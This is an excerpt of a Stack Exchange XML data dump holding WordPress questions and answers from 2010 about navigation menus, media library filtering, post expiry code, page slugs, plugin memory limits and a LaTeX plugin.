  <row Id="1481" PostTypeId="1" AcceptedAnswerId="1505" CreationDate="2010-09-07T17:38:47.460" Score="1" ViewCount="1738" Body="&lt;p&gt;With the new wp_nav_menu system, it is possible to add a category as a menu item, so in my example I have a 'news' category, which is a submenu item of 'About'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;About (page)&lt;br&gt;&#xA;--news (category)&lt;br&gt;&#xA;--history (page)&lt;br&gt;&#xA;--contact us (page)&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The menu highlighting CSS picks up from current-menu-parent and current-menu-ancestor, so that when I'm in a submenu section, the top level menu item (e.g. 'About') is highlighted when I visit 'news'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine, apart from when I visit a post in the 'news' category, which matches is_single() and in_category('news').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can see in Firebug, the 'current-menu-parent' and 'current-menu-ancestor' is applied to the 'news' menu item, however it's not applied to the 'About' top level menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I'm missing in setting up my menu? I've tried using a custom walker, however it seems that the initial menu ancestors are not being set up properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems my only solution (without resorting to a nasty JQuery hack) is to create a 'news' page which queries the news posts, rather than pointing to the news 'category'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Dan&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update with code sample 09/09/2010&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way it is currently, viewing a single page in the News category &lt;a href=&quot;http://www.example.com/2010/09/top-news-did-you-know/&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/2010/09/top-news-did-you-know/&lt;/a&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;li id=&quot;menu-item-28&quot; class=&quot;menu-item menu-item-type-post_type menu-item-28&quot;&amp;gt;&amp;lt;a href=&quot;http://www.example.com/about/&quot;&amp;gt;About Us&amp;lt;/a&amp;gt;&lt;br&gt;&#xA;&amp;lt;ul class=&quot;sub-menu&quot;&amp;gt;&lt;br&gt;&#xA;    &amp;lt;li id=&quot;menu-item-71&quot; class=&quot;menu-item menu-item-type-taxonomy&quot;&amp;gt;&amp;lt;a href=&quot;http://www.example.com/category/events/&quot;&amp;gt;Events&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br&gt;&#xA;    &amp;lt;li id=&quot;menu-item-70&quot; class=&quot;menu-item menu-item-type-taxonomy current-post-ancestor current-menu-parent current-post-parent current-menu-parent&quot;&amp;gt;&amp;lt;a href=&quot;http://www.example.com/category/news/&quot;&amp;gt;News &amp;amp;#038; views&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br&gt;&#xA;    &amp;lt;li id=&quot;menu-item-88&quot; class=&quot;menu-item menu-item-type-post_type&quot;&amp;gt;&amp;lt;a href=&quot;http://www.example.com/contact-us/&quot;&amp;gt;Contact Us&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br&gt;&#xA;&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you see that &quot;About Us&quot; doesn't have any CSS class to indicate it is a parent of the currently viewed page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I think it should work (and to be honest, if it doesn't do this, then it's a bug due to lack of implementation):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;li id=&quot;menu-item-28&quot; class=&quot;menu-item menu-item-type-post_type current-menu-ancestor current-menu-parent current_page_parent current_page_ancestor menu-item-28&quot;&amp;gt;&amp;lt;a href=&quot;http://www.example.com/about/&quot;&amp;gt;About Us&amp;lt;/a&amp;gt;&lt;br&gt;&#xA;&amp;lt;ul class=&quot;sub-menu&quot;&amp;gt;&lt;br&gt;&#xA;    &amp;lt;li id=&quot;menu-item-71&quot; class=&quot;menu-item menu-item-type-taxonomy&quot;&amp;gt;&amp;lt;a href=&quot;http://www.example.com/category/events/&quot;&amp;gt;Events&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br&gt;&#xA;    &amp;lt;li id=&quot;menu-item-70&quot; class=&quot;menu-item menu-item-type-taxonomy current-post-ancestor current-menu-parent current-post-parent current-menu-parent&quot;&amp;gt;&amp;lt;a href=&quot;http://www.example.com/category/news/&quot;&amp;gt;News &amp;amp;#038; views&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br&gt;&#xA;    &amp;lt;li id=&quot;menu-item-88&quot; class=&quot;menu-item menu-item-type-post_type&quot;&amp;gt;&amp;lt;a href=&quot;http://www.example.com/contact-us/&quot;&amp;gt;Contact Us&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br&gt;&#xA;&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has the &lt;code&gt;current-menu-ancestor current-menu-parent current_page_parent current_page_ancestor&lt;/code&gt; CSS classes attached to the Top level menu item. It works this way for every other page, or even when viewing the category itself, just not a single page in a category.&lt;/p&gt;&#xA;" OwnerUserId="798" LastEditorUserId="798" LastEditorDisplayName="" LastEditDate="2010-09-09T08:07:11.303" LastActivityDate="2010-11-06T00:35:20.180" Title="How do I get my wp_nav_menu single category page to highlight the parent?" Tags="&lt;custom-menus&gt;&lt;categories&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="2" />
  <row Id="1482" PostTypeId="1" AcceptedAnswerId="4341" CreationDate="2010-09-07T17:51:44.453" Score="9" ViewCount="975" Body="&lt;p&gt;I want users to be able to upload photos using &lt;code&gt;add_cap('upload_files')&lt;/code&gt; but in their profile page, the Media Library shows every image that's been uploaded.  How can I filter that so that they can only view the images THEY uploaded?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Here's my solution for the moment... I'm doing a simple WP query, then a Loop on the user's &quot;Profile&quot; page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$querystr = &quot; SELECT wposts.post_date,wposts.post_content,wposts.post_title, guid &#xA;FROM $wpdb-&amp;gt;posts wposts&#xA;WHERE wposts.post_author = $author &#xA;AND wposts.post_type = 'attachment' &#xA;ORDER BY wposts.post_date DESC&quot;;&#xA;&#xA;$pageposts = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="607" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-10T20:35:28.037" LastActivityDate="2011-08-01T10:29:09.817" Title="Restricting Users to View Only Media Library Items They Have Uploaded?" Tags="&lt;plugin-recommendation&gt;&lt;cms&gt;&lt;images&gt;&lt;media&gt;" AnswerCount="6" CommentCount="3" FavoriteCount="4" />
  <row Id="1483" PostTypeId="1" AcceptedAnswerId="1485" CreationDate="2010-09-07T18:51:17.883" Score="2" ViewCount="215" Body="&lt;p&gt;I've created a simple menu in wp-admin&gt;appearance&gt;menus called main-nav. Works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'd like to add a custom element to the end of the menu... a search box like the search box in the apple.com menu bar. I can't work out where the  menus get constructed in code. where can I can add this... any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm using the starkers theme)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to tnorthcutt and hakre for pointing me in the right direction. The solution was to put this code in with the other 'add_filter' stuff in my theme's functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_nav_menu_items','search_box_function');&#xA;function search_box_function ($nav){&#xA;return $nav.&quot;&amp;lt;li class='menu-header-search'&amp;gt;&amp;lt;form action='http://example.com/' id='searchform' method='get'&amp;gt;&amp;lt;input type='text' name='s' id='s' placeholder='Search'&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/li&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@tnorthcutt's solution is great for when you have just one menu on your screen, but if you add second menu it appends the search box to that menu too. How would you target just one menu? i've registered my menu's like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_nav_menus( array(&#xA;  'primary' =&amp;gt; __( 'Primary Navigation', 'twentyten' ),&#xA;  'secondary'=&amp;gt;__('Secondary Menu', 'twentyten' ),&#xA;&#xA; ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..and the secondary one gets shown like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu( array( 'container_class' =&amp;gt; 'menu-header', 'theme_location' =&amp;gt; 'secondary' ) ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="394" LastEditorUserId="394" LastEditorDisplayName="" LastEditDate="2010-09-23T12:17:43.423" LastActivityDate="2010-09-23T12:17:43.423" Title="Where do custom menus get constructed?" Tags="&lt;custom-menus&gt;&lt;search&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" />
  <row Id="1484" PostTypeId="1" AcceptedAnswerId="1491" CreationDate="2010-09-07T19:03:41.603" Score="0" ViewCount="379" Body="&lt;p&gt;In a previous question I needed to set a future dated post (custom post type) as published on save instead of scheduling it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the date it's 'scheduled' for I'd like to set it as a draft again. I've been trying to hook into init and wrap it in an if checking for post type. I figured it would compare to server time and then set status to draft if it was older than server time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a rough outline:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if custom post type&#xA;  get_the_time of post&#xA;  get the server time&#xA;  if post time is older than server time set status to draft&#xA;endif&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here and update with some code I'm working with.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function sfn_show_expire(){&#xA;    global $wpdb;&#xA;    $server_time = date('mdy');&#xA;    $result = $wpdb-&amp;gt;get_results(&quot;SELECT * FROM wp_posts WHERE post_type = 'show' AND post_status = 'publish'&quot;);&#xA;    if( !empty($result)) foreach ($result as $a){&#xA;        $show_time = get_the_time('mdy', $a-&amp;gt;ID );&#xA;        if ( $server_time &amp;gt; $show_time){&#xA;            $my_post = array();&#xA;            $my_post['ID'] = $a-&amp;gt;ID;&#xA;            $my_post['post_status'] = 'draft';&#xA;            wp_update_post( $my_post );&#xA;        }&#xA;    } // end foreach&#xA;}&#xA;add_action( 'init', 'sfn_show_expire' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's getting the posts I need and is giving me the server time but isn't doing anything past that as far as I can tell.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditorDisplayName="" LastEditDate="2010-09-07T21:58:16.570" LastActivityDate="2010-09-07T21:58:16.570" Title="How to Set Post Status to Draft if older than today" Tags="&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="1485" PostTypeId="2" ParentId="1483" CreationDate="2010-09-07T19:09:46.883" Score="1" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_nav_menu_items','search_box_function');&#xA;function search_box_function {&#xA;search box code goes here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For reference, check out Bill Erickson's &lt;a href=&quot;http://www.billerickson.net/genesis-wordpress-nav-menu-content/&quot; rel=&quot;nofollow&quot;&gt;excellent tutorial&lt;/a&gt; on accomplishing this with the Genesis framework.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-09-07T19:09:46.883" CommentCount="6" />
  <row Id="1486" PostTypeId="2" ParentId="372" CreationDate="2010-09-07T19:49:01.743" Score="0" ViewCount="" Body="&lt;p&gt;I always add the body_class() function to the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag, which gives you a lot of CSS hooks to work with. You can do a lot with custom CSS depending on which page, post, category you're in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In conjunction with that, I always add metabox to my post editing page that allows me to insert custom CSS on a per-post basis. That way I can declare custom styles on the fly if they're only needed for that page, rather than editing the main stylesheet.&lt;/p&gt;&#xA;" OwnerUserId="799" LastEditorUserId="799" LastEditorDisplayName="" LastEditDate="2011-03-06T22:52:11.760" LastActivityDate="2011-03-06T22:52:11.760" CommunityOwnedDate="2010-09-07T19:49:01.743" />
  <row Id="1487" PostTypeId="2" ParentId="1473" CreationDate="2010-09-07T20:10:22.643" Score="5" ViewCount="" Body="&lt;p&gt;Justin Tadlock's &lt;a href=&quot;http://wordpress.org/extend/plugins/series/&quot; rel=&quot;nofollow&quot;&gt;Series&lt;/a&gt; plugin is great, and it uses a lot less resources than the Organize Series plugin. It's simple, and based off of WP's custom taxonomies, and is built by a reputable WP programmer.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2010-09-07T20:10:22.643" CommentCount="2" />
  <row Id="1488" PostTypeId="1" AcceptedAnswerId="1489" CreationDate="2010-09-07T21:06:15.013" Score="1" ViewCount="99" Body="&lt;p&gt;I am playing around with wordpress and a few plugins.  Say I have something called &quot;Shopping Cart&quot; and I delete the page.  Then I recreate it, I can't have the old URL back.  I get domain.com/shopping-cart-2 and I want the old one back.  How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="647" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-09-07T21:50:30.127" LastActivityDate="2010-09-07T21:50:30.127" Title="Editing the Number at the end of Page URLs / Editing Page Slugs" Tags="&lt;3.0.1&gt;&lt;page&gt;&lt;slug&gt;" AnswerCount="1" />
  <row Id="1489" PostTypeId="2" ParentId="1488" CreationDate="2010-09-07T21:32:12.883" Score="2" ViewCount="" Body="&lt;p&gt;You are asking about the &lt;a href=&quot;http://codex.wordpress.org/Pages#Changing_the_URL_.28or_.22Slug.22.29_of_Your_Pages&quot; rel=&quot;nofollow&quot;&gt;slug of a page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please check the trash and remove the previous page from trash as well. Afterwards you should be able to re-use the previously used slug.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-07T21:32:12.883" />
  <row Id="1490" PostTypeId="2" ParentId="944" CreationDate="2010-09-07T21:46:36.393" Score="0" ViewCount="" Body="&lt;p&gt;You could load your stylesheets in (a hook) in your header. Then use wp_enqueue_style to load them on a per-site basis:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;1.a) make a custom header file for &lt;em&gt;page-template-file.php&lt;/em&gt; and use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_header&quot; rel=&quot;nofollow&quot;&gt;a custom header&lt;/a&gt; with a conditional tag (or just use a custom style sheet with a conditional tag).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then do something like this in your &lt;em&gt;functions.php&lt;/em&gt; file: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_action('my_styles_hook', wp_enqueue_style('custom-style-sheet', get_bloginfo('template_url') . '/my_page_stylesheet', false, 0.0, 'screen'), 10 );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This way you can easily style each page the way you want. Plus you don't load what you don't need.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2010-09-11T16:10:49.443" LastActivityDate="2010-09-11T16:10:49.443" />
  <row Id="1491" PostTypeId="2" ParentId="1484" CreationDate="2010-09-07T21:48:54.177" Score="1" ViewCount="" Body="&lt;p&gt;Your query isn't giving you a post ID, it's giving you an entire post.  The &lt;code&gt;SELECT *&lt;/code&gt; returns all columns, &lt;code&gt;ID&lt;/code&gt;, &lt;code&gt;post_status&lt;/code&gt;, etc.  So setting &lt;code&gt;$my_post['ID'] = $a&lt;/code&gt; doesn't do anything for you in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using: &lt;code&gt;$my_post['id'] = $a-&amp;gt;ID;&lt;/code&gt; instead.  That should accurately set your ID before you call &lt;code&gt;wp_update_post()&lt;/code&gt; and you should be in business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from that, I see no problems with what you're doing ... except that querying the database every time the site is loaded might eventually create performance issues.  I'd set up an hourly chron job instead to automate the process ... then it doesn't depend on or slow down user traffic.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-07T21:48:54.177" CommentCount="2" />
  <row Id="1492" PostTypeId="2" ParentId="1479" CreationDate="2010-09-07T21:54:57.883" Score="1" ViewCount="" Body="&lt;p&gt;Generally spoken, no, it is not possible for a particular plugin only. The plugin runs in the whole wordpress PHP process (normally) and therefore it shares the memory limit setting with the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can however try to limit the memory before each time the plugin is called. That would be prior any hook of it (that's possible) and then in the beginning prior the inclusion (that's much harder to achieve).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The define of &lt;code&gt;WP_MEMORY_LIMIT&lt;/code&gt; gets overwritten by the way, so setting that constant to something is not useful if you actually want to limit memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not fear to deal with system internals, you can however limit the memory for the whole process properly as well as if you like it experimental, you can give &lt;a href=&quot;http://php.net/manual/en/runkit.sandbox.php&quot; rel=&quot;nofollow&quot;&gt;runkit&lt;/a&gt; a try and execute the plugins code therein - somehow.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-07T21:54:57.883" />
  <row Id="1493" PostTypeId="2" ParentId="1458" CreationDate="2010-09-07T22:01:56.113" Score="1" ViewCount="" Body="&lt;p&gt;Next to .height() and .width() there is &lt;a href=&quot;http://api.jquery.com/outerHeight/&quot; rel=&quot;nofollow&quot;&gt;.outerHeight()&lt;/a&gt; and &lt;a href=&quot;http://api.jquery.com/innerHeight/&quot; rel=&quot;nofollow&quot;&gt;.innerHeight()&lt;/a&gt; (same for width as well). You might be looking for these methods to gather the browsers size, not only the size of the windows viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that this not always works 100% across all browsers, so you always might run into problems if you need it pixel-perfect.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-07T22:01:56.113" CommentCount="3" />
  <row Id="1494" PostTypeId="2" ParentId="1479" CreationDate="2010-09-07T22:18:03.110" Score="1" ViewCount="" Body="&lt;p&gt;No and even if you could, if the plugin ran out of available memory then the entire page generation would stop due to the fatal error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're better off fixing the plugin itself to not use as much memory or to just further increase the total memory allocated to WordPress/PHP.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2010-09-07T22:18:03.110" CommentCount="1" />
  <row Id="1495" PostTypeId="2" ParentId="1459" CreationDate="2010-09-07T22:22:57.573" Score="2" ViewCount="" Body="&lt;p&gt;1) The GUID is exactly that -- a GUID. It's used to uniquely identify the post. If you need to link to a post, then use &lt;code&gt;get_permalink( $post_ID )&lt;/code&gt; (&lt;code&gt;$post_ID&lt;/code&gt; is optional).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Not without a plugin, no. There's talk of using an image shortcode for 3.1 though, or maybe 3.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, you can try using an alpha version of my Regenerate Thumbnails plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://viper007bond.pastebin.com/XprbYtg2&quot; rel=&quot;nofollow&quot;&gt;http://viper007bond.pastebin.com/XprbYtg2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It'll go through all of your posts and update all image tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you back up your database first though. The code is alpha and not guaranteed to work, although I have tested it quite a bit.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2010-09-07T22:22:57.573" CommentCount="1" />
  <row Id="1496" PostTypeId="1" AcceptedAnswerId="2724" CreationDate="2010-09-08T01:19:51.173" Score="0" ViewCount="348" Body="&lt;p&gt;I've created a Contact Us page (my-site.com/contact-us/) using contact-form-7 which works fine on my local WordPress install. However, when I try the same form on the online version of the site, it simply hangs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the http headers using Fiddler and saw that the url being used by the ajax submit is &lt;strong&gt;/contact-us/#wpcf7-f1-p15-o1&lt;/strong&gt;. The error shown by Fiddler is HTTP 400 &quot;Bad Request&quot;. There's no server information, so I'm assuming the request doesn't even make it to the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Local setup: XAMPP on Windows XP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Online setup: IIS 6.0 on Windows 2003&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress version: 2.9.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Browser: Opera 10.61  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I'm using gmail as my smtp server via the WP-Mail-SMTP plugin.&lt;/p&gt;&#xA;" OwnerUserId="657" LastEditorUserId="657" LastEditorDisplayName="" LastEditDate="2010-09-08T02:09:07.683" LastActivityDate="2010-10-08T12:43:00.990" Title="Contact Form 7 form is working on local wordpress install but fails on production server" Tags="&lt;contact&gt;&lt;forms&gt;" AnswerCount="2" />
  <row Id="1497" PostTypeId="1" CreationDate="2010-09-08T01:29:12.393" Score="0" ViewCount="75" Body="&lt;p&gt;I am trying to figure out which hooks I can tie into in order to read the incoming URL prior to the query actually being run. A quick look tells me maybe &lt;code&gt;wp_loaded&lt;/code&gt; or &lt;code&gt;posts_selection&lt;/code&gt; would be good choices but would hate to miss out on something obviously better for my needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;template_redirect&lt;/code&gt; sounded promising but seems to be called after content is selected so I do not think that is going to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought the rewrite code might help, but the likes of &lt;code&gt;generate_rewrite_rules&lt;/code&gt; do not seem to allow for arbitrary code to be executed... it seems to all be geared toward redirecting to existing content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to write redirection code that I need to not be tied to an existing piece of content. I have found several plugins that do similar things, but all seem to require that a post or page be added to the system for the redirect to be attached to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I want &lt;code&gt;/foo/bar&lt;/code&gt; to redirect to &lt;code&gt;/baz&lt;/code&gt;, but I don't want to have to create a page &lt;code&gt;foo&lt;/code&gt; or a sub-page of &lt;code&gt;foo&lt;/code&gt; called &lt;code&gt;bar&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="663" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-08T04:13:38.610" LastActivityDate="2010-09-08T04:13:38.610" Title="Executing Arbitrary Code at a Specific URL without Creating a Post or Page?" Tags="&lt;hooks&gt;&lt;url-rewriting&gt;" AnswerCount="1" />
  <row Id="1498" PostTypeId="2" ParentId="1496" CreationDate="2010-09-08T01:54:26.473" Score="0" ViewCount="" Body="&lt;p&gt;You can try checking if there is a working mail server that can process you mail. You can try asking your hosting provider regarding that.&lt;/p&gt;&#xA;" LastActivityDate="2010-09-08T01:54:26.473" CommentCount="1" />
  <row Id="1499" PostTypeId="2" ParentId="1430" CreationDate="2010-09-08T02:00:51.720" Score="0" ViewCount="" Body="&lt;p&gt;Try to add permission to the parent folder which is the &quot;uploads&quot; directory.&lt;/p&gt;&#xA;" LastActivityDate="2010-09-08T02:00:51.720" CommentCount="1" />
  <row Id="1500" PostTypeId="2" ParentId="1366" CreationDate="2010-09-08T02:04:10.957" Score="0" ViewCount="" Body="&lt;p&gt;If you're on a linux platform and you have SSH access to modify or do work inside the server, maybe creating symlink to the core or plugin would work. Just a thought though :)&lt;/p&gt;&#xA;" LastActivityDate="2010-09-08T02:04:10.957" />
  <row Id="1501" PostTypeId="2" ParentId="1064" CreationDate="2010-09-08T02:34:04.687" Score="2" ViewCount="" Body="&lt;p&gt;I'm developer of &lt;a href=&quot;http://www.holoborodko.com/pavel/quicklatex/&quot; rel=&quot;nofollow&quot;&gt;WP-QuickLaTeX&lt;/a&gt; plugin. &#xA;It is developed for mathematicians driven by feeling that math doesn't deserve to be published with poor quality on the Web.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, besides correct formula positioning and meaningful error messages, WP-QuickLaTeX &lt;strong&gt;can store images on a local server too&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do that is explained on WP-QuickLaTeX home page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;If you want maximum performance you might create &lt;code&gt;ql-cache&lt;/code&gt; folder in &lt;code&gt;wp-content&lt;/code&gt;. It will be used by WP-QuickLaTeX for caching necessary data to decrease loading time of your pages. Just make sure &lt;code&gt;ql-cache&lt;/code&gt; is writable (by &lt;code&gt;chmod 777&lt;/code&gt; or through File Manager in cPanel).&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Soon we will release new version of the plugin. It will include such features:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Precise adjustment of font size (in pixels). Rendering in specified size will be done by high-quality rendering engine (with anti-aliasing, etc.) not by image interpolation. &lt;/li&gt;&#xA;&lt;li&gt;Adjustment of foreground and background colors. Now we use black color for text and transparent background. New version will allow to set up colors a-la HTML/CSS way (i.e. using hex digits for RGB: #FFFFFF for white, #FF0000 for red, etc.)&lt;/li&gt;&#xA;&lt;li&gt;Settings page in administrator dashboard for tuning up.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Anyone interested could check test page for the&#xA;&lt;a href=&quot;http://quicklatex.com/&quot; rel=&quot;nofollow&quot;&gt;QuickLaTeX.com&lt;/a&gt;.&#xA;I would appreciate any feedback (please leave comments on WP-QuickLaTeX home page or send me email via pavel@holoborodko.com).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides we have many plans for the future - stay tuned. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for displayed equations, you can use LaTeX command &lt;code&gt;\displaystyle&lt;/code&gt; to force this mode.&#xA;And yes, another problem is that some environments cannot be used in inline mode. But there are exist some workarounds (like using &lt;code&gt;aligned&lt;/code&gt; instead of &lt;code&gt;align&lt;/code&gt; environment). Please use it for the moment. &#xA;We are planning to implement displayed math mode in future versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2010-10-25 Update:&lt;/strong&gt;&lt;br /&gt;&#xA;New version of &lt;a href=&quot;http://www.holoborodko.com/pavel/quicklatex/&quot; rel=&quot;nofollow&quot;&gt;WP-QuickLaTeX&lt;/a&gt; has been released. It includes displayed equations and custom LaTeX document preamble among other new features. I would appreciate any feedback on its usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2011-02-08 Update:&lt;/strong&gt;&lt;br /&gt;&#xA;Now it allows native LaTeX syntax directly in the posts, display equations  numbering, &lt;code&gt;tikZ&lt;/code&gt; graphics, etc. &lt;/p&gt;&#xA;" OwnerUserId="805" LastEditorUserId="805" LastEditorDisplayName="" LastEditDate="2011-02-08T10:40:18.693" LastActivityDate="2011-02-08T10:40:18.693" CommentCount="1" />
  <row Id="1502" PostTypeId="2" ParentId="1497" CreationDate="2010-09-08T04:12:40.967" Score="1" ViewCount="" Body="&lt;p&gt;@Hi &lt;strong&gt;Beau Simensen:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hook &lt;code&gt;plugsin_loaded&lt;/code&gt; is one option, but you can use &lt;strong&gt;the plugin&lt;/strong&gt; I posted for this question to see what plugins are run and in which order and use it to find the hook that works best for you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/307/where-can-i-find-a-list-of-wordpress-hooks/339#339&quot;&gt;&lt;strong&gt;Where Can I Find a List of WordPress Hooks?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Given your goal, you might also find this answer useful:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1011/creating-301-redirects-for-post-page-category-and-image-urls/1023#1023&quot;&gt;&lt;strong&gt;Creating 301 Redirects for Post, Page, Category and Image URLs?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If that wasn't what you needed please elaborate and I can hopefully offer more.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;-Mike &lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-08T04:12:40.967" CommentCount="2" />
